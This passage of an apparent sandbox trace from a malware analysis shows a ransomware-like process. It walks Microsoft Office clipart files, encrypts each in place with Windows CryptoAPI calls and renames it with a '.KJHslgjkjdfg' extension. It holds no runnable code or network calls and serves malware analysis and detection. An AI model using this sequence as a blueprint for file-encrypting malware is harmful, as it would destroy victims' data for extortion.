0x2a0000 [0185.552] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.kjhslgjkjdfg")) returned 1 [0185.554] CloseHandle (hObject=0x114) returned 1 [0185.554] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d600, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f01d600, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01680_.WMF", cAlternateFileName="")) returned 1 [0185.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.555] GetProcessHeap () returned 0x2a0000 [0185.555] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.555] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.555] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.555] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0185.557] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.557] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.557] GetProcessHeap () returned 0x2a0000 [0185.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.557] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.557] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.557] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.557] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.557] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.557] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.557] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.557] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.557] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.557] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.557] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.557] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb9e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb9e, lpOverlapped=0x0) returned 1 [0185.558] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xba0, dwBufLen=0xba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xba0) returned 1 [0185.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.558] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xba0, lpOverlapped=0x0) returned 1 [0185.558] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.558] SetEndOfFile (hFile=0x114) returned 1 [0185.560] GetProcessHeap () returned 0x2a0000 [0185.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.560] GetProcessHeap () returned 0x2a0000 [0185.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.kjhslgjkjdfg")) returned 1 [0185.562] CloseHandle (hObject=0x114) returned 1 [0185.562] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6e4f00, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6e4f00, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xc88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01682_.WMF", cAlternateFileName="")) returned 1 [0185.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.562] GetProcessHeap () returned 0x2a0000 [0185.563] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.563] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.563] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.563] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.565] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.565] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.565] GetProcessHeap () returned 0x2a0000 [0185.565] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.565] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.565] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.565] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.565] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.565] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.565] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.565] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.565] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.565] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.565] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc88, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc88, lpOverlapped=0x0) returned 1 [0185.565] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc90, dwBufLen=0xc90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc90) returned 1 [0185.566] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.566] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc90, lpOverlapped=0x0) returned 1 [0185.566] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.566] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.566] SetEndOfFile (hFile=0x114) returned 1 [0185.568] GetProcessHeap () returned 0x2a0000 [0185.568] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.568] GetProcessHeap () returned 0x2a0000 [0185.568] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.kjhslgjkjdfg")) returned 1 [0185.570] CloseHandle (hObject=0x114) returned 1 [0185.571] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65da4900, ftCreationTime.dwHighDateTime=0x1bd4bda, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65da4900, ftLastWriteTime.dwHighDateTime=0x1bd4bda, nFileSizeHigh=0x0, nFileSizeLow=0x14c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01701_.WMF", cAlternateFileName="")) returned 1 [0185.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.573] GetProcessHeap () returned 0x2a0000 [0185.573] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.573] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.573] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.573] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.576] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.576] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.576] GetProcessHeap () returned 0x2a0000 [0185.577] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.577] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.577] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.577] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.577] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.577] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.577] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.577] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.577] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.577] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.577] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14c4, lpOverlapped=0x0) returned 1 [0185.579] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14d0) returned 1 [0185.579] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.579] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14d0, lpOverlapped=0x0) returned 1 [0185.579] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.579] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.579] SetEndOfFile (hFile=0x114) returned 1 [0185.582] GetProcessHeap () returned 0x2a0000 [0185.582] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.582] GetProcessHeap () returned 0x2a0000 [0185.582] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.kjhslgjkjdfg")) returned 1 [0185.584] CloseHandle (hObject=0x114) returned 1 [0185.584] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01848_.WMF", cAlternateFileName="")) returned 1 [0185.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.585] GetProcessHeap () returned 0x2a0000 [0185.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.585] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.585] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.585] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.585] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.586] GetProcessHeap () returned 0x2a0000 [0185.586] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.586] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.586] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.586] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.603] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.603] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.603] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.604] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.604] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.604] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.604] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x460, lpOverlapped=0x0) returned 1 [0185.604] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x460, dwBufLen=0x460 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x460) returned 1 [0185.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.604] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x460, lpOverlapped=0x0) returned 1 [0185.604] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.604] SetEndOfFile (hFile=0x114) returned 1 [0185.607] GetProcessHeap () returned 0x2a0000 [0185.607] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.607] GetProcessHeap () returned 0x2a0000 [0185.607] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.kjhslgjkjdfg")) returned 1 [0185.608] CloseHandle (hObject=0x114) returned 1 [0185.608] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01849_.WMF", cAlternateFileName="")) returned 1 [0185.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.610] GetProcessHeap () returned 0x2a0000 [0185.610] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.610] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 